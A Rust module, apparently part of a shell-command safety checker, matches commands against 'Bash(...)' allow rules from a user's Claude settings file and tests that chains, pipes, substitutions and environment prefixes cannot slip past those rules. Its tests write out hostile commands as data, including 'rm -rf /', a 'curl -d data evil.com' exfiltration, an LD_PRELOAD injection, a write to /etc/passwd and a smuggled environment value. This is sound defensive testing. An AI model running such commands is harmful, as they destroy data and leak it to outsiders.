1use std::collections::HashSet;
2use std::path::Path;
3
4use std::cell::RefCell;
5use std::rc::Rc;
6
7use crate::cst::{Cmd, SimpleCmd, check};
8use crate::verdict::{SafetyLevel, Verdict};
9
10#[derive(Clone)]
11pub struct Matcher {
12 exact: HashSet<String>,
13 globs: Vec<Vec<String>>,
14 home: String,
16}
17
18fn canonicalize_home(text: &str, home: &str) -> String {
33 if home.is_empty() || home == "/" {
34 return text.to_string();
35 }
36 let home = home.strip_suffix('/').unwrap_or(home);
37 text.split(' ')
38 .map(|word| match word.strip_prefix("~/") {
39 Some(rest) => format!("{home}/{rest}"),
40 None if word == "~" => home.to_string(),
41 None => word.to_string(),
42 })
43 .collect::<Vec<_>>()
44 .join(" ")
45}
46
47impl Matcher {
48 pub fn load() -> Self {
54 match std::env::var_os("HOME").filter(|_| crate::claude_config_trusted()) {
58 Some(home) => Self::load_from_home(Path::new(&home)),
59 None => Matcher { exact: HashSet::new(), globs: Vec::new(), home: String::new() },
60 }
61 }
62
63 fn load_from_home(home: &Path) -> Self {
64 let mut patterns = Matcher { exact: HashSet::new(), globs: Vec::new(), home: home.to_string_lossy().into_owned() };
65 patterns.load_file(&home.join(".claude/settings.json"));
66 patterns
67 }
68
69 fn load_file(&mut self, path: &Path) {
70 let Ok(contents) = std::fs::read_to_string(path) else {
71 return;
72 };
73 let Ok(value) = serde_json::from_str::<serde_json::Value>(&contents) else {
74 return;
75 };
76
77 if let Some(arr) = value.get("approved_commands").and_then(|v| v.as_array()) {
78 for entry in arr.iter().filter_map(|e| e.as_str()) {
79 self.add_pattern(entry);
80 }
81 }
82
83 if let Some(arr) = value.get("permissions").and_then(|v| v.get("allow")).and_then(|v| v.as_array()) {
84 for entry in arr.iter().filter_map(|e| e.as_str()) {
85 self.add_pattern(entry);
86 }
87 }
88 }
89
90 fn add_pattern(&mut self, entry: &str) {
91 let Some(inner) = entry.strip_prefix("Bash(").and_then(|s| s.strip_suffix(')')) else {
92 return;
93 };
94 if inner.is_empty() {
95 return;
96 }
97 let normalized = if let Some(prefix) = inner.strip_suffix(":*") { format!("{prefix} *") } else { inner.to_string() };
98 let normalized = canonicalize_home(&normalized, &self.home);
99 if normalized.contains('*') {
100 self.globs.push(normalized.split('*').map(String::from).collect());
101 } else {
102 self.exact.insert(normalized);
103 }
104 }
105
106 pub fn matches_cmd(&self, cmd: &Cmd) -> bool {
107 matches!(cmd, Cmd::Simple(simple) if self.matches(simple))
108 }
109
110 fn covers(&self, cmd: &SimpleCmd) -> bool {
114 cmd.words.first().is_some_and(|name| !check::names_a_function(&name.eval())) && !check::has_unsafe_syntax(cmd) && self.matches(cmd)
115 }
116
117 fn matches(&self, simple: &SimpleCmd) -> bool {
118 let Some(normalized) = normalize_for_matching(simple) else {
121 return false;
122 };
123 let normalized = canonicalize_home(normalized.trim(), &self.home);
124 let normalized = normalized.as_str();
125 if normalized.is_empty() {
126 return false;
127 }
128 if self.exact.contains(normalized) {
129 return true;
130 }
131 self.globs.iter().any(|parts| glob_matches(parts, normalized))
132 }
133
134 pub fn is_empty(&self) -> bool {
135 self.exact.is_empty() && self.globs.is_empty()
136 }
137
138 #[cfg(test)]
139 pub(crate) fn from_allow_patterns(patterns: &[&str]) -> Self {
140 let mut m = Matcher { exact: HashSet::new(), globs: Vec::new(), home: TEST_HOME.to_string() };
141 for p in patterns {
142 m.add_pattern(&format!("Bash({p})"));
143 }
144 m
145 }
146}
147
148#[cfg(test)]
150const TEST_HOME: &str = "/home/tester";
151
152pub fn is_cmd_covered(cmd: &Cmd, patterns: &Matcher) -> bool {
153 let _rules = in_force(patterns);
154 check::is_safe_cmd(cmd)
155}
156
157thread_local! {
158 static IN_FORCE: RefCell<Option<Rc<Matcher>>> = const { RefCell::new(None) };
162}
163
164pub(crate) struct RulesScope(Option<Rc<Matcher>>);
165
166impl Drop for RulesScope {
167 fn drop(&mut self) {
168 let previous = self.0.take();
169 IN_FORCE.with(|rules| *rules.borrow_mut() = previous);
170 }
171}
172
173fn install(rules: Option<Rc<Matcher>>) -> RulesScope {
174 RulesScope(IN_FORCE.with(|current| current.replace(rules)))
175}
176
177pub(crate) fn in_force(patterns: &Matcher) -> RulesScope {
178 install(Some(Rc::new(patterns.clone())))
179}
180
181pub(crate) fn suspended() -> RulesScope {
185 install(None)
186}
187
188pub(crate) fn outside_rules<T>(judge: impl FnOnce() -> T) -> T {
192 let _rules = suspended();
193 judge()
194}
195
196pub(crate) fn with_rules(cmd: &SimpleCmd, builtin: impl FnOnce(&SimpleCmd) -> Verdict) -> Verdict {
205 let verdict = builtin(cmd);
206 if verdict.is_allowed() || !IN_FORCE.with(|rules| rules.borrow().clone()).is_some_and(|rules| rules.covers(cmd)) {
208 return verdict;
209 }
210 Verdict::Allowed(SafetyLevel::SafeWrite)
211}
212
213fn normalize_for_matching(cmd: &SimpleCmd) -> Option<String> {
244 let mut parts = Vec::with_capacity(cmd.env.len() + cmd.words.len());
245 for (name, value) in &cmd.env {
246 let value = value.eval();
247 if value.chars().any(char::is_whitespace) {
248 return None;
249 }
250 parts.push(format!("{name}={value}"));
251 }
252 parts.extend(cmd.words.iter().map(|w| w.eval()));
253 Some(parts.join(" "))
254}
255
256fn glob_matches(parts: &[String], text: &str) -> bool {
257 let first = &parts[0];
258 let last = &parts[parts.len() - 1];
259
260 if parts.len() == 2 && last.is_empty() && first.ends_with(' ') {
261 let prefix = &first[..first.len() - 1];
262 return text == prefix || text.starts_with(first.as_str());
263 }
264
265 if !text.starts_with(first.as_str()) {
266 return false;
267 }
268 if !text.ends_with(last.as_str()) {
269 return false;
270 }
271 let mut pos = first.len();
272 let end = text.len() - last.len();
273 if pos > end {
274 return false;
275 }
276 for part in &parts[1..parts.len() - 1] {
277 match text[pos..end].find(part.as_str()) {
278 Some(idx) => pos += idx + part.len(),
279 None => return false,
280 }
281 }
282 pos <= end
283}
284
285#[cfg(test)]
286mod tests {
287 use super::*;
288 use std::fs;
289
290 use crate::cst;
291
292 fn empty() -> Matcher {
293 Matcher { exact: HashSet::new(), globs: Vec::new(), home: TEST_HOME.to_string() }
294 }
295
296 fn cmd(s: &str) -> Cmd {
297 let script = cst::parse(s).unwrap_or_else(|| panic!("failed to parse: {s}"));
298 assert_eq!(script.0.len(), 1, "expected single statement: {s}");
299 assert_eq!(script.0[0].pipeline.commands.len(), 1, "expected single command: {s}");
300 script.0[0].pipeline.commands[0].clone()
301 }
302
303 fn segments(command: &str) -> Vec<Cmd> {
304 let script = cst::parse(command).unwrap_or_else(|| panic!("failed to parse: {command}"));
305 script.0.into_iter().flat_map(|stmt| stmt.pipeline.commands).collect()
306 }
307
308 fn is_covered(cmd: &Cmd, patterns: &Matcher) -> bool {
309 is_cmd_covered(cmd, patterns)
310 }
311
312 fn all_covered(command: &str, patterns: &Matcher) -> bool {
313 let Some(script) = cst::parse(command) else {
314 return false;
315 };
316 script
317 .0
318 .iter()
319 .all(|stmt| check::is_safe_pipeline(&stmt.pipeline) || stmt.pipeline.commands.iter().all(|c| is_cmd_covered(c, patterns)))
320 }
321
322 #[test]
323 fn parse_exact_pattern() {
324 let mut p = empty();
325 p.add_pattern("Bash(npm test)");
326 assert!(p.exact.contains("npm test"));
327 assert!(p.globs.is_empty());
328 assert!(!p.is_empty(), "an exact pattern alone makes the matcher non-empty");
329 }
330
331 #[test]
332 fn parse_legacy_colon_star() {
333 let mut p = empty();
334 p.add_pattern("Bash(npm run:*)");
335 assert!(p.exact.is_empty());
336 assert_eq!(p.globs.len(), 1);
337 assert!(!p.is_empty(), "a glob pattern alone makes the matcher non-empty");
338 }
339
340 #[test]
341 fn parse_space_star() {
342 let mut p = empty();
343 p.add_pattern("Bash(npm run *)");
344 assert!(p.exact.is_empty());
345 assert_eq!(p.globs.len(), 1);
346 }
347
348 #[test]
349 fn parse_non_bash_skipped() {
350 let mut p = empty();
351 p.add_pattern("WebFetch");
352 p.add_pattern("XcodeBuildMCP");
353 assert!(p.is_empty());
354 }
355
356 #[test]
357 fn parse_empty_bash_skipped() {
358 let mut p = empty();
359 p.add_pattern("Bash()");
360 assert!(p.is_empty());
361 }
362
363 #[test]
364 fn match_exact() {
365 let mut p = empty();
366 p.add_pattern("Bash(npm test)");
367 assert!(p.matches_cmd(&cmd("npm test")));
368 assert!(!p.matches_cmd(&cmd("npm test --watch")));
369 }
370
371 #[test]
372 fn match_space_star_word_boundary() {
373 let mut p = empty();
374 p.add_pattern("Bash(ls *)");
375 assert!(p.matches_cmd(&cmd("ls -la")));
376 assert!(p.matches_cmd(&cmd("ls foo")));
377 assert!(!p.matches_cmd(&cmd("lsof")));
378 }
379
380 #[test]
381 fn match_star_no_space_no_boundary() {
382 let mut p = empty();
383 p.add_pattern("Bash(ls*)");
384 assert!(p.matches_cmd(&cmd("ls -la")));
385 assert!(p.matches_cmd(&cmd("lsof")));
386 }
387
388 #[test]
389 fn match_legacy_colon_star_word_boundary() {
390 let mut p = empty();
391 p.add_pattern("Bash(npm run:*)");
392 assert!(p.matches_cmd(&cmd("npm run build")));
393 assert!(p.matches_cmd(&cmd("npm run test")));
394 assert!(!p.matches_cmd(&cmd("npm running")));
395 assert!(!p.matches_cmd(&cmd("npm install")));
396 }
397
398 #[test]
399 fn match_star_at_beginning() {
400 let mut p = empty();
401 p.add_pattern("Bash(* --version)");
402 assert!(p.matches_cmd(&cmd("npm --version")));
403 assert!(p.matches_cmd(&cmd("cargo --version")));
404 assert!(!p.matches_cmd(&cmd("npm --help")));
405 }
406
407 #[test]
408 fn match_star_in_middle() {
409 let mut p = empty();
410 p.add_pattern("Bash(git * main)");
411 assert!(p.matches_cmd(&cmd("git checkout main")));
412 assert!(p.matches_cmd(&cmd("git merge main")));
413 assert!(!p.matches_cmd(&cmd("git checkout develop")));
414 }
415
416 #[test]
430 fn match_env_prefix_is_not_stripped() {
431 let mut p = empty();
432 p.add_pattern("Bash(bundle install)");
433 assert!(!p.matches_cmd(&cmd("RACK_ENV=test bundle install")));
434 assert!(p.matches_cmd(&cmd("bundle install")));
435
436 let mut q = empty();
437 q.add_pattern("Bash(RACK_ENV=test bundle install)");
438 assert!(q.matches_cmd(&cmd("RACK_ENV=test bundle install")));
439 }
440
441 #[test]
442 fn match_fd_redirect_stripped() {
443 let mut p = empty();
444 p.add_pattern("Bash(npm test)");
445 assert!(p.matches_cmd(&cmd("npm test 2>&1")));
446 }
447
448 #[test]
449 fn match_fd_redirect_with_glob() {
450 let mut p = empty();
451 p.add_pattern("Bash(npm run *)");
452 assert!(p.matches_cmd(&cmd("npm run test 2>&1")));
453 }
454
455 #[test]
456 fn empty_patterns_match_nothing() {
457 let p = empty();
458 assert!(!p.matches_cmd(&cmd("anything")));
459 }
460
461 #[test]
462 fn match_bare_star_matches_everything() {
463 let mut p = empty();
464 p.add_pattern("Bash(*)");
465 assert!(p.matches_cmd(&cmd("anything at all")));
466 assert!(p.matches_cmd(&cmd("rm -rf /")));
467 }
468
469 #[test]
470 fn unsafe_syntax_not_bypassed_by_match() {
471 let mut p = empty();
472 p.add_pattern("Bash(./script.sh *)");
473 let c = cmd("./script.sh > /etc/passwd");
474 assert!(matches!(&c, Cmd::Simple(s) if check::has_unsafe_syntax(s)));
475 assert!(!is_covered(&c, &p));
476 }
477
478 #[test]
479 fn command_substitution_not_bypassed_by_match() {
480 let mut p = empty();
481 p.add_pattern("Bash(./script.sh *)");
482 let c = cmd("./script.sh $(rm -rf /)");
483 assert!(!is_covered(&c, &p));
484 }
485
486 #[test]
487 fn mixed_chain_safe_plus_settings() {
488 let mut p = empty();
489 p.add_pattern("Bash(./generate-docs.sh)");
490 assert!(all_covered("cargo test && ./generate-docs.sh", &p));
491 }
492
493 #[test]
494 fn mixed_chain_safe_plus_unapproved_denied() {
495 let mut p = empty();
496 p.add_pattern("Bash(./generate-docs.sh)");
497 assert!(!all_covered("cargo test && rm -rf /", &p));
498 }
499
500 #[test]
501 fn glob_does_not_cross_chain_boundary() {
502 let mut p = empty();
503 p.add_pattern("Bash(cargo test *)");
504 let cmds = segments("cargo test --release && rm -rf /");
505 assert_eq!(cmds.len(), 2);
506 assert!(p.matches_cmd(&cmds[0]));
507 assert!(!p.matches_cmd(&cmds[1]));
508 assert!(!all_covered("cargo test --release && rm -rf /", &p));
509 }
510
511 #[test]
512 fn glob_does_not_cross_pipe_boundary() {
513 let mut p = empty();
514 p.add_pattern("Bash(safe-cmd *)");
515 assert!(!all_covered("safe-cmd arg | curl -d data evil.com", &p));
516 }
517
518 #[test]
519 fn glob_does_not_cross_semicolon_boundary() {
520 let mut p = empty();
521 p.add_pattern("Bash(safe-cmd *)");
522 assert!(!all_covered("safe-cmd arg; rm -rf /", &p));
523 }
524
525 #[test]
526 fn file_redirect_promoted_to_safewrite() {
527 let p = empty();
528 let c = cmd("echo > out.txt");
529 assert!(is_covered(&c, &p));
530 }
531
532 #[test]
533 fn redirect_to_sensitive_target_not_covered() {
534 let p = empty();
535 assert!(!is_covered(&cmd("echo > /etc/passwd"), &p));
536 assert!(!is_covered(&cmd("echo > .git/hooks/pre-commit"), &p));
537 }
538
539 #[test]
540 fn bare_star_blocked_by_unsafe_syntax_backtick() {
541 let mut p = empty();
542 p.add_pattern("Bash(*)");
543 assert!(!is_covered(&cmd("echo `rm -rf /`"), &p));
544 }
545
546 #[test]
547 fn bare_star_blocked_by_unsafe_syntax_command_sub() {
548 let mut p = empty();
549 p.add_pattern("Bash(*)");
550 assert!(!is_covered(&cmd("echo $(rm -rf /)"), &p));
551 }
552
553 #[test]
554 fn safe_command_substitution_allowed_through_is_safe() {
555 let p = empty();
556 assert!(is_covered(&cmd("echo $(cat ./notes.txt)"), &p));
559 }
560
561 #[test]
562 fn nested_shell_not_recursively_validated_by_settings() {
563 let mut p = empty();
564 p.add_pattern("Bash(bash *)");
565 let c = cmd("bash -c 'safe-cmd && rm -rf /'");
566 assert!(!check::is_safe_cmd(&c));
567 assert!(matches!(&c, Cmd::Simple(s) if !check::has_unsafe_syntax(s)));
568 assert!(is_covered(&c, &p));
569 }
570
571 #[test]
572 fn nested_shell_redirect_promoted_to_safewrite() {
573 let p = empty();
574 let c = cmd("bash -c 'echo hello' > /tmp/out");
575 assert!(is_covered(&c, &p));
576 }
577
578 #[test]
579 fn quoted_operators_stay_as_one_segment() {
580 let mut p = empty();
581 p.add_pattern("Bash(./script *)");
582 assert!(all_covered("./script 'arg && rm -rf /'", &p));
583 }
584
585 #[test]
586 fn load_from_home_reads_home_settings() {
587 let home = tempfile::tempdir().unwrap();
588 let claude_dir = home.path().join(".claude");
589 fs::create_dir_all(&claude_dir).unwrap();
590 fs::write(claude_dir.join("settings.json"), r#"{"permissions":{"allow":["Bash(./generate-docs.sh:*)"]}}"#).unwrap();
591 let p = Matcher::load_from_home(home.path());
592 assert!(p.matches_cmd(&cmd("./generate-docs.sh")));
593 assert!(p.matches_cmd(&cmd("./generate-docs.sh --verbose")));
594 assert!(!p.matches_cmd(&cmd("./evil.sh")));
595 }
596
597 #[test]
598 fn load_from_home_ignores_project_settings() {
599 let home = tempfile::tempdir().unwrap();
603 let project = tempfile::tempdir().unwrap();
604 let project_claude = project.path().join(".claude");
605 fs::create_dir_all(&project_claude).unwrap();
606 fs::write(project_claude.join("settings.json"), r#"{"permissions":{"allow":["Bash(rm -rf *)"]}}"#).unwrap();
607 let p = Matcher::load_from_home(home.path());
608 assert!(!p.matches_cmd(&cmd("rm -rf /")));
609 assert!(p.is_empty());
610 }
611
612 #[test]
613 fn load_from_home_chains_with_builtins() {
614 let home = tempfile::tempdir().unwrap();
615 let claude_dir = home.path().join(".claude");
616 fs::create_dir_all(&claude_dir).unwrap();
617 fs::write(claude_dir.join("settings.json"), r#"{"permissions":{"allow":["Bash(./generate-docs.sh:*)"]}}"#).unwrap();
618 let p = Matcher::load_from_home(home.path());
619 assert!(all_covered("cargo test && ./generate-docs.sh", &p));
620 assert!(!all_covered("cargo test && ./evil.sh", &p));
621 }
622
623 #[test]
624 fn load_file_nonexistent() {
625 let mut p = empty();
626 p.load_file(Path::new("/nonexistent/path/settings.json"));
627 assert!(p.is_empty());
628 }
629
630 #[test]
631 fn load_file_malformed_json() {
632 let dir = tempfile::tempdir().unwrap();
633 let path = dir.path().join("settings.json");
634 std::fs::write(&path, "not json{{{").unwrap();
635 let mut p = empty();
636 p.load_file(&path);
637 assert!(p.is_empty());
638 }
639
640 #[test]
641 fn load_file_approved_commands() {
642 let dir = tempfile::tempdir().unwrap();
643 let path = dir.path().join("settings.json");
644 fs::write(&path, r#"{"approved_commands":["Bash(npm test)","Bash(npm run *)","WebFetch"]}"#).unwrap();
645 let mut p = empty();
646 p.load_file(&path);
647 assert!(p.matches_cmd(&cmd("npm test")));
648 assert!(p.matches_cmd(&cmd("npm run build")));
649 assert!(!p.matches_cmd(&cmd("curl evil.com")));
650 }
651
652 #[test]
653 fn load_file_permissions_allow() {
654 let dir = tempfile::tempdir().unwrap();
655 let path = dir.path().join("settings.json");
656 fs::write(&path, r#"{"permissions":{"allow":["Bash(cargo test *)","Bash(cargo clippy *)"]}}"#).unwrap();
657 let mut p = empty();
658 p.load_file(&path);
659 assert!(p.matches_cmd(&cmd("cargo test")));
660 assert!(p.matches_cmd(&cmd("cargo clippy -- -D warnings")));
661 }
662
663 #[test]
664 fn load_file_both_fields() {
665 let dir = tempfile::tempdir().unwrap();
666 let path = dir.path().join("settings.json");
667 fs::write(&path, r#"{"approved_commands":["Bash(npm test)"],"permissions":{"allow":["Bash(cargo test *)"]}}"#).unwrap();
668 let mut p = empty();
669 p.load_file(&path);
670 assert!(p.matches_cmd(&cmd("npm test")));
671 assert!(p.matches_cmd(&cmd("cargo test --release")));
672 }
673
674 #[test]
677 fn a_glob_prefix_and_suffix_may_not_overlap() {
678 let parts = ["ab".to_string(), "ba".to_string()];
679 assert!(!glob_matches(&parts, "aba"));
680 assert!(glob_matches(&parts, "abba"));
681 let repeated = ["a".to_string(), "b".to_string(), "b".to_string(), "c".to_string()];
682 assert!(!glob_matches(&repeated, "abc"), "one `b` cannot stand for both middle pieces");
683 assert!(glob_matches(&repeated, "abbc"));
684 }
685
686 proptest::proptest! {
687 #[test]
690 fn a_glob_match_holds_every_piece(
691 parts in proptest::collection::vec("[ab]{1,3}", 2..6),
692 text in "[ab]{0,8}",
693 ) {
694 if glob_matches(&parts, &text) {
695 let pieces: usize = parts.iter().map(String::len).sum();
696 proptest::prop_assert!(text.len() >= pieces, "{parts:?} matched {text:?}");
697 }
698 }
699 }
700}
701
702#[cfg(test)]
714mod env_prefix_matching_tests {
715 use super::*;
716 use crate::cst;
717
718 fn cmd(s: &str) -> Cmd {
719 let script = cst::parse(s).unwrap_or_else(|| panic!("failed to parse: {s}"));
720 script.0[0].pipeline.commands[0].clone()
721 }
722
723 fn matcher(patterns: &[&str]) -> Matcher {
724 Matcher::from_allow_patterns(patterns)
725 }
726
727 #[test]
728 fn a_plain_command_still_matches_its_rule() {
729 let m = matcher(&["~/runner-scripts/x.sh:*"]);
730 assert!(m.matches_cmd(&cmd("~/runner-scripts/x.sh")));
731 assert!(m.matches_cmd(&cmd("~/runner-scripts/x.sh --dry-run")));
732 }
733
734 #[test]
738 fn a_home_grant_covers_both_spellings_of_the_same_file() {
739 for rule in ["~/runner-scripts/x.sh:*", "/home/tester/runner-scripts/x.sh:*"] {
740 let m = matcher(&[rule]);
741 for c in [
742 "~/runner-scripts/x.sh", "/home/tester/runner-scripts/x.sh", "~/runner-scripts/x.sh --dry-run",
743 "/home/tester/runner-scripts/x.sh --dry-run",
744 ] {
745 assert!(m.matches_cmd(&cmd(c)), "rule `{rule}` missed: {c}");
746 }
747 }
748 }
749
750 #[test]
753 fn a_home_grant_covers_both_spellings_in_an_argument() {
754 let m = matcher(&["osascript -l JavaScript ~/runner-scripts/x.js:*"]);
755 assert!(m.matches_cmd(&cmd("osascript -l JavaScript ~/runner-scripts/x.js --p safe-chains")));
756 assert!(m.matches_cmd(&cmd("osascript -l JavaScript /home/tester/runner-scripts/x.js --p safe-chains")));
757 }
758
759 #[test]
762 fn another_users_home_is_not_expanded() {
763 let m = matcher(&["~/runner-scripts/x.sh:*"]);
764 assert!(!m.matches_cmd(&cmd("~root/runner-scripts/x.sh")));
765 assert!(!m.matches_cmd(&cmd("~other/runner-scripts/x.sh")));
766 }
767
768 #[test]
771 fn a_home_variable_is_not_expanded() {
772 let m = matcher(&["~/runner-scripts/x.sh:*"]);
773 assert!(!m.matches_cmd(&cmd("$HOME/runner-scripts/x.sh")));
774 }
775
776 #[test]
777 fn an_env_prefix_does_not_match_a_rule_without_one() {
778 let m = matcher(&["~/runner-scripts/x.sh:*"]);
779 for c in [
780 "WRITE=1 ~/runner-scripts/x.sh", "WRITE=1 ~/runner-scripts/x.sh --project p", "PROJECT=p ~/runner-scripts/x.sh",
781 "LD_PRELOAD=/tmp/evil.so ~/runner-scripts/x.sh",
782 ] {
783 assert!(!m.matches_cmd(&cmd(c)), "rule without env matched: {c}");
784 }
785 }
786
787 #[test]
788 fn a_rule_that_declares_the_env_prefix_matches_it() {
789 let m = matcher(&["WRITE=1 ~/runner-scripts/x.sh:*", "~/runner-scripts/x.sh:*"]);
791 assert!(m.matches_cmd(&cmd("WRITE=1 ~/runner-scripts/x.sh")));
792 assert!(m.matches_cmd(&cmd("WRITE=1 ~/runner-scripts/x.sh --force")));
793 assert!(m.matches_cmd(&cmd("~/runner-scripts/x.sh")));
794 assert!(!m.matches_cmd(&cmd("WRITE=0 ~/runner-scripts/x.sh")));
796 assert!(!m.matches_cmd(&cmd("DEBUG=1 ~/runner-scripts/x.sh")));
797 }
798
799 #[test]
800 fn every_assignment_must_be_accounted_for() {
801 let m = matcher(&["A=1 tool:*"]);
802 assert!(m.matches_cmd(&cmd("A=1 tool")));
803 assert!(!m.matches_cmd(&cmd("A=1 B=2 tool")));
805 assert!(!m.matches_cmd(&cmd("B=2 A=1 tool")));
806 }
807
808 #[test]
809 fn an_exact_rule_behaves_the_same_as_a_glob_rule() {
810 let exact = matcher(&["tool run"]);
811 assert!(exact.matches_cmd(&cmd("tool run")));
812 assert!(!exact.matches_cmd(&cmd("WRITE=1 tool run")));
813 }
814
815 #[test]
821 fn a_value_containing_whitespace_matches_no_rule() {
822 let m = matcher(&["WRITE=1 ~/runner-scripts/x.sh:*"]);
823 assert!(m.matches_cmd(&cmd("WRITE=1 ~/runner-scripts/x.sh --force")));
824 assert!(
825 !m.matches_cmd(&cmd("WRITE='1 ~/runner-scripts/x.sh' rm -rf /")),
826 "a spaced value smuggled the pattern and matched a different program",
827 );
828
829 let n = matcher(&["FOO=bar baz ls"]);
831 assert!(n.matches_cmd(&cmd("FOO=bar baz ls"))); assert!(!n.matches_cmd(&cmd("FOO='bar baz' ls"))); }
834
835 #[test]
839 fn a_quoted_word_still_matches() {
840 let m = matcher(&["git commit -m:*"]);
841 assert!(m.matches_cmd(&cmd("git commit -m 'a message with spaces'")));
842 }
843
844 #[test]
848 fn prepending_any_assignment_breaks_a_match_the_rule_does_not_declare() {
849 let rules = ["tool", "tool:*", "tool sub", "tool sub:*", "~/runner-scripts/x.sh:*"];
850 let commands = ["tool", "tool sub", "tool sub --flag", "~/runner-scripts/x.sh --flag"];
851 let assignments = ["WRITE=1", "PROJECT=p", "LD_PRELOAD=/tmp/e.so", "A=1"];
852
853 let mut checked = 0;
854 for rule in rules {
855 let m = matcher(&[rule]);
856 for c in commands {
857 if !m.matches_cmd(&cmd(c)) {
858 continue; }
860 for a in assignments {
861 let prefixed = format!("{a} {c}");
862 assert!(!m.matches_cmd(&cmd(&prefixed)), "rule `{rule}` matched `{prefixed}` without declaring `{a}`",);
863 checked += 1;
864 }
865 }
866 }
867 assert!(checked > 0, "no rule/command pair matched — the property would be vacuous");
868 }
869
870 proptest::proptest! {
871 #[test]
874 fn without_a_usable_home_every_word_is_left_alone(
875 text in "[~]/[a-z]{0,8}( [~]?/?[a-z.]{0,10}){0,4}",
876 home in proptest::prop_oneof![proptest::strategy::Just(""), proptest::strategy::Just("/")],
877 ) {
878 proptest::prop_assert_eq!(canonicalize_home(&text, home), text);
879 }
880
881 #[test]
884 fn a_usable_home_expands_both_tilde_spellings(
885 home in "/[a-z]{1,8}(/[a-z]{1,8}){0,2}",
886 slash in proptest::bool::ANY,
887 rest in "[a-z.]{1,10}",
888 ) {
889 let given = if slash { format!("{home}/") } else { home.clone() };
890 let text = format!("ls ~ ~/{rest}");
891 proptest::prop_assert_eq!(canonicalize_home(&text, &given), format!("ls {home} {home}/{rest}"));
892 }
893 }
894}
895
896#[cfg(test)]
897mod rule_scope_tests;